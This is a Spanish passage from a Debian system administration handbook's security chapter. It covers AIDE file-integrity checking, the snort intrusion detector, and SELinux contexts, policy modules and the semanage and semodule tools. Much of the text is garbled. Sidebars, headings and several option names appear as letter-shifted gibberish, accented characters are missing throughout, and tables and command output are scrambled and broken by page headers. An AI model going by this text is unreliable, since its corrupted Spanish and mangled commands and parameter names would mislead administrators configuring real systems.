DVCSJS TVT IVFMMBT 6OB QPTJCMF TPMVDJO QPESB TFS BMNBDFOBS MB CBTF EF EBUPT
EF SFGFSFODJB FO VO NFEJP EF BMNBDFOBNJFOUP EF TMP MFDUVSB

Puede utilizar numerosas opciones en el archivo /etc/default/aide para configurar el


comportamiento del paquete aide. Se almacena la configuracin de AIDE en s en /etc/
aide/aide.conf y /etc/aide/aide.conf.d/ (de hecho, slo update-aide.conf utiliza estos archivos para generar /var/lib/aide/aide.conf.autogenerated). La configuracin indica qu propiedades se deben comprobar. Por ejemplo, el contenidos de los archivos de registro cambia continuamente, y se puede ignorar estos cambios mientras que los permisos de los
archivos permanezcan inalterados, pero tanto el contenido como los permisos de los programas
ejecutables debe permanecer constante. Aunque no es excesivamente compleja, la sintaxis de la
configuracin no es del todo intuitiva y, por lo tanto, recomendamos leer su pgina de manual
aide.conf(5).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Cada da se genera una nueva versin de la base de datos en /var/lib/aide/aide.db.new; si


todos los cambios registrados son legtimos, puede utilizarla para reemplazar la base de datos
de referencia.
"-5&3/"5*7"
5SJQXJSF Z 4BNIBJO

5SJQXJSF FT NVZ TJNJMBS B "*%& JODMVTP MB TJOUBYJT EFM BSDIJWP EF DPOGJHVSBDJO


FT QSDUJDBNFOUF MB NJTNB -B WFOUBKB QSJODJQBM EF USJQXJSF FT VO NFDBOJTNP
QBSB GJSNBS FM BSDIJWP EF DPOGJHVSBDJO EF GPSNB RVF VO BUBDBOUF OP QVFEB
IBDFS RVF BQVOUF B VOB WFSTJO EJGFSFOUF EF MB CBTF EF EBUPT EF SFGFSFODJB
4BNIBJO UBNCJO PGSFDF DBSBDUFSTUJDBT TJNJMBSFT BT DPNP BMHVOBT GVODJPOFT
QBSB BZVEBS B EFUFDUBS kSPPULJUT{ SFWJTF FM SFDVBESP 7*45" 31*%"
 5BN
CJO QVFEF EFTQMFHBSMP EF GPSNB HMPCBM FO VOB SFE Z HVBSEBS TVT USB[BT FO VO
TFSWJEPS DFOUSBM DPO TV GJSNB DPSSFTQPOEJFOUF


7*45" 31*%0
-PT QBRVFUFT DIFDLTFDVSJUZ Z
DILSPPULJUSLIVOUFS

&M QSJNFSP EF FTUPT QBRVFUFT DPOUJFOF WBSJPT TDSJQUT QFRVFPT RVF SFBMJ[BO
DPNQSPCBDJPOFT CTJDBT FO FM TJTUFNB DPOUSBTFBT WBDBT OVFWPT BSDIJWPT
TFUVJE FUD
Z BEWJFSUFO BM BENJOJTUSBEPS TJ GVFTF OFDFTBSJP " QFTBS EF TV
OPNCSF FYQMDJUP VO BENJOJTUSBEPS OP EFCFSB DPOGJBS FYDMVTJWBNFOUF FO M
QBSB BTFHVSBSTF RVF VO TJTUFNB -JOVY FT TFHVSP
-PT QBRVFUFT DILSPPULJU Z SLIVOUFS QFSNJUFO CVTDBS QPTJCMFT kSPPULJUT{ JOTUB
MBEPT FO FM TJTUFNB $PNP SFDPSEBUPSJP FTUPT TPO QSPHSBNBT EFTJHOBEPT QBSB
PDVMUBS RVF TF IB DPNQSPNFUJEP FM TJTUFNB B MB WF[ RVF TF NBOUJFOF FM DPOUSPM
EF MB NRVJOB -BT DPNQSPCBDJPOFT OP TPO   DPOGJBCMFT QFSP HFOFSBM
NFOUF QVFEFO HVJBS MB BUFODJO EFM BENJOJTUSBEPS B QSPCMFNBT QPUFODJBMFT

 %FUFDDJO EF JOUSVTJPOFT *%4/*%4

70-7&3 " -04


$*.*&/504
%FOFHBDJO EF TFSWJDJP

6O BUBRVF EF kEFOFHBDJO EF TFSWJDJP{ UJFOF VOB OJDB GJOBMJEBE IBDFS RVF VO


TFSWJDJP OP FTU EJTQPOJCMF &M SFTVMUBEP FT FM NJTNP JOEFQFOEJFOUFNFOUF EF TJ
FM BUBRVF JNQMJDB TPCSFDBSHBS BM TFSWJEPS NFEJBOUF DPOTVMUBT P TJ TF BQSPWFDIB
BMHO GBMMP FM TFSWJDJP EFKB EF FTUBS PQFSBUJWP -PT VTVBSJPT IBCJUVBMFT OP FT
UBSO DPOUFOUPT Z MB FOUJEBE RVF BMCFSHB MB SFE B MB RVF TF EJSJHF FM BUBRVF TVGSF
VOB QSEJEB EF SFQVUBDJO Z QPTJCMFNFOUF UBNCJO EF JOHSFTPT QPS FKFNQMP
TJ FM TFSWJDJP FT VO TJUJP EF DPNFSDJP FMFDUSOJDP

"MHVOBT WFDFT FTUPT BUBRVFT TPO kEJTUSJCVJEPT{ FTUP JNQMJDB IBCJUVBMNFOUF
TPCSFDBSHBS BM TFSWJEPS DPO VOB HSBO DBOUJEBE EF DPOTVMUBT QSPWFOJFOUFT EF
EJGFSFOUFT GVFOUFT QBSB RVF FM TFSWJEPS OP TFB DBQB[ EF BUFOEFS MBT DPOTVMUBT
MFHUJNBT &TUF UJQP EF BUBRVFT TF IBO IFDIP NFSFDFEPSFT EF EPT BDSOJNPT
NVZ DPOPDJEPT %P4 EFOFHBDJO EF TFSWJDJP k%FOJBM PG 4FSWJDF{
Z %%P4
EFOFHBDJO EF TFSWJDJP EJTUSJCVJEP k%JTUSJCVUFE %FOJBM PG 4FSWJDF{
TFHO TJ
FM BUBRVF FT EJTUSJCVJEP P OP

snort (del paquete Debian con el mismo nombre) es un NIDS un sistema de deteccin de intru-

siones de red (Network Intrusion Detection System). Su funcin es escuchar la red y tratar de
detectar intentos de infiltracin y/o actos hostiles (inclusive ataques de denegacin de servicio). Todos estos eventos son registrados y diariamente se enva un email al administrador con
un resumen de las ltimas 24 horas.

$BQUVMP  4FHVSJEBE



Su configuracin requiere describir el rango de direcciones que cubre la red local. En la prctica,
esto significa el conjunto de potenciales objetivos de los ataques. Se pueden configurar otros
parmentros importantes mediante dpkg-reconfigure snort, incluyendo la interfaz de red a
monitorizar. A menudo ser FUI para una conexin Ethernet, pero existen otras posibilidades
como QQQ para una lnea ADSL o PSTN (red pblica de telefona conmutada: Public Switched
Telephone Network, es decir un confiable y antiguo mdem), o incluso XMBO para algunas
tarjetas de red inalmbricas.
:&/%0 .4 "--
*OUFHSBDJO DPO prelude

1SFMVEF QFSNJUF MB NPOJUPSJ[BDJO DFOUSBMJ[BEB EF MB JOGPSNBDJO EF TFHVSJ


EBE 4V BSRVJUFDUVSB NPEVMBS JODMVZF VO TFSWJEPS FM HFTUPS FO FM QBRVFUF
QSFMVEFNBOBHFS
RVF SFDPHF MBT BMFSUBT HFOFSBEBT QPS MPT TFOTPSFT EF EJGFS
FOUFT UJQPT
1VFEF DPOGJHVSBS 4OPSU DPNP VOP EF FTUPT TFOTPSFT 0USB QPTJCJMJEBE FT
QSFMVEFMNM MBDBZP EF NPOJUPSJ[BDJO EF SFHJTUSPT k-PH .POJUPS -BDLFZ{
RVF
NPOJUPSJ[B MPT BSDIJWPT EF SFHJTUSP EF GPSNB TJNJMBS B DPNP MP IBDF logcheck
EFTDSJQUP FO MB 4FDDJO  k.POJUPSJ[BDJO EF MPT SFHJTUSPT DPO logcheck{
QHJOB 


El archivo de configuracin (/etc/snort/snort.conf) de snort es muy largo, y los abundantes


comentarios describen cada directiva de forma detallada. Para aprovecharlo al mximo, deber
leerlo completamente y adaptarlo a la situacin local. Por ejemplo, al indicar qu mquina alberga qu servicio puede limitar el nmero de incidentes que snort reportar, puesto que un
ataque de denegacin de servicio a un equipo de escritorio es mucho menos crtico que uno dirigido a un servidor DNS. Otra directiva interesante permite almacenar las asociaciones entre
direcciones IP y direcciones MAC (que identifican de forma unvoca a una tarjeta de red), lo que
permite detectar ataques de tipo ARP spoofing en los que una mquina comprometida intenta
suplantar la identidad de otra, por ejemplo un servidor sensible.
13&$"6$*/
3BOHP EF BDDJO

-B FGFDUJWJEBE EF snort FTU MJNJUBEB QPS FM USGJDP RVF WF FO MB JOUFSGB[ EF SFE


NPOJUPSJ[BEB 0CWJBNFOUF OP QPES EFUFDUBS OBEB TJ OP QVFEF PCTFSWBS FM US
GJDP SFBM $VBOEP TF FODVFOUSB DPOFDUBEP B VO TXJUDI EF SFE TMP NPOJUPSJ[BS
MPT BUBRVFT RVF UFOHBO DPNP PCKFUJWP B MB NRVJOB FO MB RVF FTU FKFDVUO
EPTF MP RVF QSPCBCMFNFOUF OP TFB MB JOUFODJO 1PS MP UBOUP MB NRVJOB RVF
FKFDVUF snort EFCFSB DPOFDUBSTF B VO QVFSUP kFTQFKP{ EFM TXJUDI RVF IBCJU
VBMNFOUF TF VUJMJ[B QBSB FODBEFOBS TXJUDIFT Z QPS MP UBOUP PCUJFOF UPEP FM
USGJDP
&O VOB QFRVFB SFE CBTBEB FO VO IVC OP FYJTUF FTUF QSPCMFNB QVFTUP RVF
UPEBT MBT NRVJOBT SFDJCFO UPEP FM USGJDP

 *OUSPEVDDJO B 4&-JOVY


 1SJODJQJPT
SELinux (Linux con seguridad mejorada: Security Enhanced Linux) es un sistema de control obligatorio de acceso (Mandatory Access Control) basado en la interfaz LSM (mdulos de seguridad



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de Linux: Linux Security Modules). En la prctica, el ncleo pregunta a SELinux antes de cada
llamada al sistema para saber si un proceso est autorizado a realizar dicha operacin.
SELinux utiliza una serie de reglas conocidas en conjunto como una poltica (policy) para
autorizar o denegar operaciones. Estas reglas son difciles de crear. Afortunadamente se proporcionan dos polticas estndar (targeted, dirigida, y strict, estricta) para evitar gran parte del
trabajo de configuracin.
Con SELinux, la gestin de permisos es completamente distinta a la de los sistemas Unix tradicionales. Los permisos de un proceso dependen de su contexto de seguridad. El contexto est
definido por la identidad del usuario que lanza el proceso y el rol y el dominio que el usuario
tena en ese momento. Los permisos realmente dependen del dominio, pero los roles controlan
la transicin entre dominios. Por ltimo, las transiciones posibles entre roles dependen de la
identidad.

'JHVSB 

$POUFYUPT EF TFHVSJEBE Z VTVBSJPT 6OJY

En la prctica, a un usuario se le asigna un contexto de seguridad predeterminado al iniciar


sesin (dependiendo de los roles que pueda adoptar). Esto define el dominio actual y, por lo tanto, el dominio de todos los procesos hijos que lance. Si desea cambiar el rol actual y su dominio
asociado, debe ejecutar newrole -r rol_r -t dominio_t (habitualmente se permite un nico
dominio para un rol determinado por lo que puede omitir el parmetro U). Este programa lo
autenticar pidindole que ingrese su contrasea. Esta caracterstica impide que los programas
cambien de rol de forma automtica. Estos cambios slo pueden ocurrir si se permiten explcitamente en la poltica de seguridad de SELinux.
Obviamente los permisos no se aplican a todos los objetos (archivos, directorios, zcalos, dispositivos, etc.). Pueden variar de objeto a objeto. Para conseguir esto, cada objeto est asociado a un
tipo (esta operacin se conoce como etiquetado). Por ello se expresan los permisos de los domin-

$BQUVMP  4FHVSJEBE



ios como conjuntos de operaciones permitidas o denegadas sobre estos tipos (e indirectamente
sobre todos los objetos que estan etiquetados con dicho tipo).
&953"
-PT EPNJOJPT Z MPT UJQPT TPO
FRVJWBMFOUFT

*OUFSOBNFOUF VO EPNJOJP FT TJNQMFNFOUF VO UJQP QFSP VO UJQP RVF TMP TF


BQMJDB B QSPDFTPT &T QPS FTUB SB[O RVF MPT EPNJOJPT UJFOFO FM TVGJKP _t BM
JHVBM RVF MPT UJQPT EF PCKFUP

De forma predeterminada, los programas heredan el dominio del usuario que los ejecuta, pero
las polticas estndar de SELinux esperan que muchos programas importantes se ejecuten en
dominios dedicados. Para conseguir esto, se etiquetan dichos ejecutables con un tipo dedicado
(por ejemplo, se etiqueta ssh con TTI@FYFD@U y, cuando inicia el programa, automticamente
cambia al dominio TTI@U). Este mecanismo de transicin automtica de dominios permite otorgar exclusivamente los permisos que requiere cada programa. Es un principio fundamental de
SELinux.

'JHVSB 

&/ -" 13$5*$"


"WFSJHVBS FM DPOUFYUP EF
TFHVSJEBE

5SBOTJDJPOFT BVUPNUJDBT FOUSF EPNJOJPT

1BSB BWFSJHVBS FM DPOUFYUP EF TFHVSJEBE EF VO QSPDFTP EFCF VUJMJ[BS MB PQDJO


Z EF ps
$ ps axZ | grep vstfpd
system_u:system_r:ftpd_t:s0
vsftpd

2094 ?

Ss

0:00 /usr/sbin/

&M QSJNFS DBNQP DPOUJFOF MB JEFOUJEBE FM SPM FM EPNJOJP Z FM OJWFM .$4 TFQB
SBEPT QPS EPT QVOUPT &M OJWFM .$4 TFHVSJEBE NVMUJDBUFHPSB k.VMUJ$BUFHPSZ
4FDVSJUZ{
FT VO QBSNFUSP RVF JOUFSWJFOF FO FM FTUBCMFDJNJFOUP EF VOB QPMUJ
DB EF QSPUFDDJO EF MB DPOGJEFODJBMJEBE RVF SFHVMB FM BDDFTP B BSDIJWPT CBTO
EPTF FO TV TFOTJCJMJEBE /P FYQMJDBSFNPT FTUB DBSBDUFSTUJDB FO FTUF MJCSP
1BSB BWFSJHVBS FM DPOUFYUP EF TFHVSJEBE FN VOB DPOTPMB QVFEF FKFDVUBS id
Z



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

1PS MUJNP QBSB BWFSJHVBS FM UJQP BTJHOBEP B VO BSDIJWP QVFEF VUJMJ[BS ls

-Z

$ ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

&T JNQPSUBOUF TBCFS RVF MB JEFOUJEBE Z SPM BTJHOBEPT B VO BSDIJWP OP UJFOFO


JNQPSUBODJB FTQFDJBM OVODB TPO VUJMJ[BEPT
QFSP TF MF BTJHOB VO DPOUFYUP EF
TFHVSJEBE DPNQMFUP B UPEPT MPT PCKFUPT QBSB NBOUFOFS MB VOJGPSNJEBE

 $POGJHVSBDJO EF 4&-JOVY


Todos los ncleos estndar que Debian proporciona incluyen compatibilidad con SELinux. Todas
las herramientas bsicas Unix son compatibles con SELinux sin ninguna modificacin. Por lo
tanto, es relativamente sencillo habilitar SELinux.
La orden aptitude install selinux-basics selinux-policy-default instalar automticamente todos los paquetes necesarios para configurar un sistema SELinux.
El paquete selinux-policy-default contiene un conjunto de reglas estndar. De forma predeterminada, esta poltica slo restringe el acceso a algunos servicios expuestos ampliamente. Las
sesiones de usuario no estn restringidas y, por lo tanto, es improbable que SELinux bloquee
una operacin legtima de un usuario. Sin embargo, mejora la seguridad de los servicios del sistema que estn ejecutando en la mquina. Para establecer una poltica equivalente a las reglas
estrictas antiguas debe deshabilitar el mdulo VODPOGJOFE (detallamos la gestin de mdulos
ms adelante en esta seccin).
Despus de instalar una poltica, debe etiquetar todos los archivos disponibles (lo que quiere
decir asignarles un tipo). Debe iniciar esta operacin manualmente con fixfiles relabel.
Ahora el sistema SELinux est listo. Para habilitarlo debe aadir el parmetro TFMJOVY al ncleo Linux. El parmetro BVEJU habilita los registros de SELinux que graban todas las operaciones denegadas. Por ltimo, el parmetro FOGPSDJOH hace que se apliquen las reglas: sin l,
SELinux trabaja en el modo predeterminado permissive (permisivo) en el que las acciones denegadas slo son registradas pero son ejecutadas de todas formas. Por lo tanto, debe modificar el
archivo de configuracin del gestor de arranque GRUB para aadir los parmetros que desee.
Una forma sencilla de hacerlo es modificar la variable (36#@$.%-*/&@-*/69 en el archivo
/etc/default/grub y ejecutar update-grub. SELinux estar activo al reiniciar.
Es importante saber que el script selinux-activate automatiza todas estas operaciones y
fuerza el etiquetado de archivos en el siguiente reinicio (lo que evita que se creen nuevos
archivos sin etiquetar cuando SELinux an no esta activo mientras se realiza el etiquetado).

$BQUVMP  4FHVSJEBE



 (FTUJO EF VO TJTUFNB 4&-JOVY


La poltica SELinux consiste en un conjunto de reglas modular, y su instalacin detecta y habilita
automticamente todos los mdulos necesarios en funcin de los servicios que se encuentren
instalados. El sistema, por lo tanto, se encuentra operativo de forma inmediata. Sin embargo,
cuando instale un servicio despus de haber instalado la poltica SELinux deber habilitar el
mdulo correspondiente manualmente. Para ello existe el programa semodule. Lo que es ms,
debera tener la capacidad de definir los roles que cada usuario puede adoptar, lo que puede
realizar con el programa semanage.
Puede utilizar estos dos programas para modificar la configuracin actual de SELinux, almacenada en /etc/selinux/default/. A diferencia de otros archivos de configuracin que puede
encontrar en /etc/, no debe modificar estos archivos manualmente. Debe utilizar los programas diseados para este propsito.
:&/%0 .4 "--
.T EPDVNFOUBDJO

1VFTUP RVF TV EFTBSSPMMBEPS PSJHJOBM MB BHFODJB OBDJPOBM EF TFHVSJEBE FT


UBEPVOJEFOTF /4" k/BUJPOBM 4FDVSJUZ "HFODZ{
OP QSPQPSDJPOB EPDV
NFOUBDJO PGJDJBM MB DPNVOJEBE IB DSFBEP VO XJLJ QBSB DPNQFOTBSMP %JTQPOF
EF NVDIB JOGPSNBDJO QFSP EFCF UFOFS FO DVFOUB RVF MB NBZPSB EF MPT RVF
DPOUSJCVZFO B 4&-JOVY TPO VTVBSJPT EF 'FEPSB FO MB RVF 4&-JOVY FTU IB
CJMJUBEP EF GPSNB QSFEFUFSNJOBEB
 1PS FTUF NPUJWP MB EPDVNFOUBDJO TVFMF
USBUBS DPO EJDIB EJTUSJCVDJO FTQFDGJDBNFOUF
http://www.selinuxproject.org

5BNCJO EFCFSB SFWJTBS MB QHJOB EFM XJLJ EF %FCJBO EFEJDBEB B FTUF UFNB BT
DPNP BM CMPH EF 3VTTFM $PLFS RVF FT VOP EF MPT EFTBSSPMMBEPSFT %FCJBO NT
BDUJWPT RVF USBCBKB FO MB DPNQBUJCJMJEBE DPO 4&-JOVY
http://wiki.debian.org/SELinux
http://etbe.coker.com.au/tag/selinux/

(FTUJO EF NEVMPT 4&-JOVY


Los mdulos SELinux disponibles se almacenan en el directorio /usr/share/selinux/
default/. Para habilitar uno de estos mdulos en la configuracin actual debe ejecutar
semodule -i mdulo.pp. La extensin pp significa paquete de poltica (policy package).
Puede eliminar un mdulo de la configuracin actual con semodule -r mdulo. Por ltimo,
semodule -l enumera los mdulos habilitados actualmente. Tambin imprime los nmeros de
versin correspondientes.
# semodule -i /usr/share/selinux/default/aide.pp
# semodule -l
aide
1.4.0
apache 1.10.0
apm
1.7.0
[...]
# semodule -r aide



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# semodule -l
apache 1.10.0
apm
1.7.0
[...]

carga inmediatamente la nueva configuracin a menos que utilice la opcin O. De


forma predeterminada, el programa acta sobre la configuracin actual (indicada por la variable 4&-*/695:1& en el archivo /etc/selinux/config), pero tambin puede modificar una
distinta especificndola con la opcin T.
semodule

(FTUJO EF JEFOUJEBEFT
Cada vez que un usuario inicia sesin, se le asigna una identidad SELinux. Esta identidad determina los roles que puede adoptar. Puede configurar estas correspondencias (entre el usuario y
la identidad y entre la identidad y los roles) con el programa semanage.
Es muy recomenable que lea la pgina de manual semanage(8), incluso cuando la sintaxis del
programa tienda a ser similar para todos los conceptos que gestiona. Encontrar muchas opciones comunes a todas las subrdenes: B para agregar, E para borrar, N para modificar, M
para enumerar y U para indicar un tipo (o dominio).
semanage login -l enumera las correspondencias actuales entre identificadores de usuarios y

entidades SELinux. Los usuarios que no aparecen explcitamente poseen la identidad predeterminada, que corresponde al elemento @@EFGBVMU@@. Si ejecuta semanage login -a -s user_u
usuario, asociar la identidad user_u con el usuario dado. Por ltimo, semanage login -d
usuario elimina la asociacin asignada al usuario.
# semanage login -a -s user_u rhertzog
# semanage login -l
Nombre de Ingreso
Usuario SELinux
__default__
unconfined_u
rhertzog
user_u
root
unconfined_u
system_u
system_u
# semanage login -d rhertzog

Rango MLS/MCS
s0-s0:c0.c1023
None
s0-s0:c0.c1023
s0-s0:c0.c1023

enumera las asociaciones entre las identidades de usuario de SELinux y


los roles permitidos. Agregar una nueva identidad requiere definir tanto sus roles correspondientes como un prefijo de etiquetado que se utiliza para asignar un tipo a los archivos personales
(/home/usuario/*). Debe elegir el prefijo entre VTFS, TUB y TZTBEN. El prefijo TUB hace
que los archivos sean del tipo TUBGG@IPNF@EJS@U. Para crear una nueva identidad de usuario
SELinux, ejecute semanage user -a -R roles -P prefijo identidad. Puede eliminar una
identidad de usuario SELinux ejecutando semanage user -d identidad.
semanage user -l

# semanage user -a -R 'staff_r user_r' -P staff test_u


# semanage user -l

$BQUVMP  4FHVSJEBE



Etiquetado MLS/
Usuario SELinux Prefijo
Nivel MCS

MLS/
Rango MCS

Roles SELinux

root
staff_u
sysadm_u
system_u
test_u
unconfined_u
user_u
# semanage user

s0-s0:c0.c1023
s0-s0:c0.c1023
s0-s0:c0.c1023
s0-s0:c0.c1023
s0
s0-s0:c0.c1023
s0

staff_r sysadm_r system_r


staff_r sysadm_r
sysadm_r
system_r
staff_r user_r
system_r unconfined_r
user_r

sysadm
staff
sysadm
user
staff
unconfined
user
-d test_u

s0
s0
s0
s0
s0
s0
s0

(FTUJO EF DPOUFYUPT EF BSDIJWPT QVFSUPT Z WBMPSFT CPPMFBOPT


Cada mdulo de SELinux proporciona un conjunto de reglas de etiquetado de archivos, pero
tambin es posible crear reglas de etiquetado personalizadas para adaptarse a algn caso especfico. Por ejemplo, si desea que el servidor web sea capaz de leer archivos en el directorio
/srv/www/, podra ejecutar semanage fcontext -a -t httpd_sys_content_t "/srv/www(/
.*)?" seguido de restorecon -R /srv/www/. La primera ejecucin registra las nuevas reglas
de etiquetado, mientras que la segunda hace que se reinicialicen los tipos de archivo segn las
reglas de etiquetado actuales.
De forma similar, se etiquetan los puertos TCP/UDP de forma que asegure que nicamente los
demonios correspondientes puedan escuchar en ellos. Por ejemplo, si desea que el servidor web
pueda escuchar en el puerto 8080, deber ejecutar semanage port -m -t http_port_t -p
tcp 8080.
Algunos mdulos de SELinux exportan opciones booleanas que puede ajustar para alterar
el comportamiento de las reglas predeterminadas. Puede utilizar la herramienta getsebool
para inspeccionar estas opciones (getsebool opcion_booleana muestra una opcin concreta,
mientras que getsebool -a muestra todas). La orden setsebool opcin_booleana valor
cambia el valor de una opcin booleana. La opcin 1 hace que el cambio sea permanente, es
decir que el nuevo valor se convierte en el predeterminado y se mantiene despus de reiniciar
el equipo. El ejemplo a continuacin permite a los servidores web acceso a los directorios personales (esto es til cuando los usuarios tienen sitios web personales en ~/public_html/).
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> off
# setsebool -P httpd_enable_homedirs on
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 "EBQUBDJO EF MBT SFHMBT


Puesto que la poltica SELinux es modular, puede ser interesante desarrollar nuevos mdulos
para aplicaciones (posiblemente propias) que carezcan de uno. Estos nuevos mdulos completarn la poltica de referencia.
Para crear nuevos mdulos, necesitar los paquetes selinux-policy-dev y selinux-policydoc. Este ltimo contiene la documentacin de las reglas estndar (/usr/share/doc/
selinux-policy-doc/html/) y los archivos de ejemplo que puede utilizar como plantillas para
crear nuevo mdulos. Instale estos mdulos y estdielos detenidamente:
$
$
$
$

zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz >Makefile


zcat /usr/share/doc/selinux-policy-doc/example.fc.gz >example.fc
zcat /usr/share/doc/selinux-policy-doc/example.if.gz >example.if
cp /usr/share/doc/selinux-policy-doc/example.te ./

El archivo .te es el ms importante. Define las reglas. El archivo .fc define los contextos de
archivo, es decir los tipos asignados a los archivos relacionados con este mdulo. Los datos del
archivo .fc se utilizan durante el paso de etiquetado de archvios. Por ltimo, el archivo .if
define la interfaz del mdulo: es una serie de funciones pblicas que otros mdulos pueden
utilizar para interactuar con el mdulo que est creando.

$SFBDJO EF VO BSDIJWP .fc


Leer el ejemplo a continuacin debera ser suficiente para entender la estructura de este tipo
de archivos. Puede utilizar expresiones regulares para asignar el mismo contexto de seguridad
a mltiples archivos, o incluso a un rbol de directorios completo.
&KFNQMP 

#
#
#
#

"SDIJWP example.fc

El ejecutable myapp tendr:


etiqueta: system_u:object_r:myapp_exec_t
Sensibilidad MLS: s0
Categoras MCS: <none>

/usr/sbin/myapp

--

gen_context(system_u:object_r:myapp_exec_t,s0)

$SFBDJO EF VO BSDIJWP .if


En el ejemplo a continuacin, la primera interfaz (NZBQQ@EPNUSBOT) controla quin puede
utilizar la aplicacin. La segunda (NZBQQ@SFBE@MPH) otorga permisos de escritura a los
archivos de registro de la aplicacin.
Cada interfaz debe generar un conjunto de reglas vlido que pueda ser integrado en un archivo .te. Por lo tanto, debe declarar todos los tipos que utilizar (con el macro HFO@SFRVJSF) y

$BQUVMP  4FHVSJEBE



utilizar directivas estndar para otorgar permisos. Sepa que puede utilizar interfaces proporcionadas por otros mdulos. La siguiente seccin dar ms explicaciones sobre cmo expresar
estos permisos.
&KFNQMP 

"SDIJWP ejemplo.if

## <summary>Poltica de ejemplo de Myapp</summary>


## <desc>
##
<p>
##
Texto ms descriptivo de myapp. La etiqueta <desc>
##
tambin puede utilizar etiquetas HTML <p>,
##
<ul>, and <ol> para dar formato.
##
</p>
##
<p>
##
Esta poltica es compatible con las siguientes
##
funcionalidades de myapp:
##
<ul>
##
<li>Funcionalidad A</li>
##
<li>Funcionalidad B</li>
##
<li>Funcionalidad C</li>
##
</ul>
##
</p>
## </desc>
#
########################################
## <summary>
##
Ejecutar una transicin de dominio para ejecutar myapp.
## </summary>
## <param name="domain">
##
Dominio permitido para la transicin
## </param>
#
interface(`myapp_domtrans',`
gen_require(`
type myapp_t, myapp_exec_t;
')
domtrans_pattern($1,myapp_exec_t,myapp_t)
')
########################################
## <summary>
##
Leer archivos de registro de myapp.
## </summary>
## <param name="domain">
##
Dominio al que se le permite leer archivos de registro.
## </param>



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

#
interface(`myapp_read_log',`
gen_require(`
type myapp_log_t;
')
logging_search_logs($1)
allow $1 myapp_log_t:file r_file_perms;
')

%0$6.&/5"$*/
&YQMJDBDJPOFT TPCSF MB
QPMUJDB EF SFGFSFODJB

-B QPMUJDB EF SFGFSFODJB FWPMVDJPOB DPNP DVBMRVJFS QSPZFDUP EF TPXBSF MJ


CSF CBTBEB FO DPOUSJCVDJPOFT EF WPMVOUBSJPT 5SFTZT VOB EF MBT DPNQBBT
NT BDUJWBT FO FM NCJUP EF 4&-JOVY BMCFSHB FM QSPZFDUP 4V XJLJ DPOUJFOF
FYQMJDBDJPOFT TPCSF MB FTUSVDUVSB EF MBT SFHMBT Z DNP QVFEF DSFBS OVFWBT
http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted

&TDSJUVSB EF VO BSDIJWP .te


Revise el archivo example.te:
:&/%0 .4 "--
&M MFOHVBKF EF NBDSP m4

1BSB FTUSVDUVSBS MB QPMUJDB DPSSFDUBNFOUF MPT EFTBSSPMMBEPSFT EF 4&-JOVY VUJ


MJ[BSPO VO QSPDFTBEPS EF NBDSPT &O MVHBS EF EVQMJDBS NVDIBT EJSFDUJWBT BMMPX
TJNJMBSFT DSFBSPO kGVODJPOFT NBDSP{ QBSB VUJMJ[BS VOB MHJDB EF NT BMUP OJWFM
RVF UBNCJO SFTVMUB FO VOB QPMUJDB NVDIP NT MFHJCMF
&O MB QSDUJDB VUJMJ[BNPT m4 QBSB DPNQJMBS FTUBT SFHMBT 3FBMJ[BS MB PQFSBDJO
PQVFTUB FYQBOEF UPEBT MBT EJSFDUJWBT EF BMUP OJWFM FO VOB CBTF EF EBUPT HJ
HBOUF EF EJSFDUJWBT BMMPX
-BT kJOUFSGBDFT{ 4&-JOVY TPO TMP GVODJPOFT NBDSP RVF TFSO TVCTUJUVJEBT QPS
VO DPOKVOUP EF SFHMBT FO UJFNQP EF DPNQJMBDJO %F MB NJTNB GPSNB BMHVOPT
QFSNJTPT TPO FO SFBMJEBE DPOKVOUPT EF QFSNJTPT RVF TPO SFFNQMB[BEPT QPS
TVT WBMPSFT FO UJFNQP EF DPNQJMBDJO

policy_module(myapp,1.0.0)

########################################
#
# Declaraciones
#

type myapp_t; 
type myapp_exec_t;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t)

$BQUVMP  4FHVSJEBE



type myapp_log_t;
logging_log_file(myapp_log_t)

type myapp_tmp_t;
files_tmp_file(myapp_tmp_t)
########################################
#
# Poltica local de Myapp
#
allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;


files_tmp_filetrans(myapp_t,myapp_tmp_t,file)




El mdulo debe ser identificado por su nombre y nmero de versin. Esta directiva es
obligatoria.
Si el mdulo introduce tipos nuevos, debe declararlos con directivas como las siguientes.
No dude en crear tantos tipos como necesite en lugar de otorgar demasiados permisos
intiles.
Dichas interfaces definen el tipo NZBQQ@U como un dominio de proceso que cualquier
ejecutable con la etiqueta NZBQQ@FYFD@U debera utilizar. Implcitamente, esto agrega
un atributo FYFD@UZQF en estos objetos, lo que a su vez permite a otros mdulos otorgar
permisos para ejecutar dichos programas: por ejemplo, el mdulo VTFSEPNBJO permite
que los ejecuten los proceso con dominios VTFS@U, TUBGG@U y TZTBEN@U. Los dominios de
otras aplicaciones confinadas no tendrn los permisos para ejecutarlos a menos que las
reglas les otorguen permisos similares (este es el caso, por ejemplo, de dpkg con su dominio EQLH@U).

MPHHJOH@MPH@GJMF es una interfaz provista por la poltica de referencia. Indica que los
archivos etiquetados con el tipo dado son archivos de registro que deben gozar de los
beneficios de las reglas asociadas (por ejemplo, otorgando permisos a logrotate para
que los pueda manipular).
La directiva BMMPX es la directiva base para autorizar una operacin. El primer parmetro
es el dominio de proceso al que se le permite ejecutar la operacin. El segundo define el
objeto que puede manipular un proceso del dominio anterior. Este parmetro debe estar
en el formato tipo:clase, en el que tipo es el tipo SELinux y clase describe la naturaleza
del objeto (archivo, directorio, zcalo, tubera, etc.). Finalmente, el ltimo parmetro describe los permisos (las operaciones permitidas).
Los permisos estn definidos como el conjunto de operaciones permitidas y siguen la siguiente plantilla: \ PQFSBDJO PQFSBDJO ^. Sin embargo, tambin puede utilizar macros



